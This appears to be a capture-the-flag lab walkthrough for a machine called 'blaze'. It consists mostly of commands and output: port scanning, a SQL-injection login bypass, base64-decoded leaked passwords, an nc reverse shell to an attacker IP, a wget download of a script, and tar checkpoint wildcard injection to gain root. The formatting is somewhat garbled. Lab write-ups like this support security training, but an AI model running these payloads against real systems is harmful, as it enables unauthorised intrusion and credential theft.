

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.227.10 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.227.10:22
Open 192.168.227.10:80
Open 192.168.227.10:9090

PORT      STATE SERVICE          REASON  VERSION
22/tcp    open  ssh              syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http             syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: blaze
9090/tcp  open  ssl/zeus-admin?  syn-ack
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
`` buster
```

```
(kali㉿kali)[~/pgplay]
$ ffuf -u http://192.168.227.10/FUZZ.php -w /home/kali/SecLists/Discovery/Web-Content/common.txt
```

v2.1.0-dev

```

:: Method : GET
:: URL : http://192.168.227.10/FUZZ.php
:: Wordlist : FUZZ: /home/kali/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500

```

```
.htaccess [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 108ms]
.hta [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 126ms]
.htpasswd [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 133ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 86ms]
login [Status: 200, Size: 769, Words: 69, Lines: 29, Duration: 87ms]
:: Progress: [4727/4727] :: Job [1/1] :: 456 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
''' Go to http://192.168.227.10/login.php, then use MySQL-SQLi-Login-Bypass
(https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Databases/MySQL-SQLi-Login-Bypass/fuzzdb.txt?source=post\_page-----c95930e9523d-----)
```

```

username: admin'OR ' ' = '
password: # any

Username      Password
james         Y2FudHRvdWNoaGh0aG1zc0A0NTUxNTI=
cameron       dGhpc3NjYW50dGJldG91Y2h1ZGRANDU1MTUy
```


``` then use [base64 decode] (https://www.base64decode.org/) canget james's password`canttouchhhthiiss@455152`  
login`https://192.168.227.10:9090`,`Click`Terminal`


```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvp9001
```

```
james@blaze:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 192.168.45.195 9001 >/tmp/f
``` /home/jamesget local.txt
```

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
james@blaze:~$ cat local.txt
370e275bddb3cd65fbb4b00cabd0e4e6
``` Check`sudo -l`
```

```
james@blaze:/tmp$ sudo -l
Matching Defaults entries for james on blaze:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
```

User james may run the following commands on blaze:
(ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *

privesc.sh

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 192.168.45.195 80 >/tmp/f
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvp80
```

```
james@blaze:~$ echo "" > '--checkpoint=1'
james@blaze:~$ echo "" > '--checkpoint-action=exec=sh privesc.sh'
james@blaze:~$ wget 192.168.45.195:8000/privesc.sh
james@blaze:~$ chmod +x privesc.sh
james@blaze:~$ sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
```

python3 -c 'import pty; pty.spawn("/bin/bash")'

```
root@blaze:~# cat proof.txt
fd3d8af15eafca699b2c4e6bf2c4b06f
```
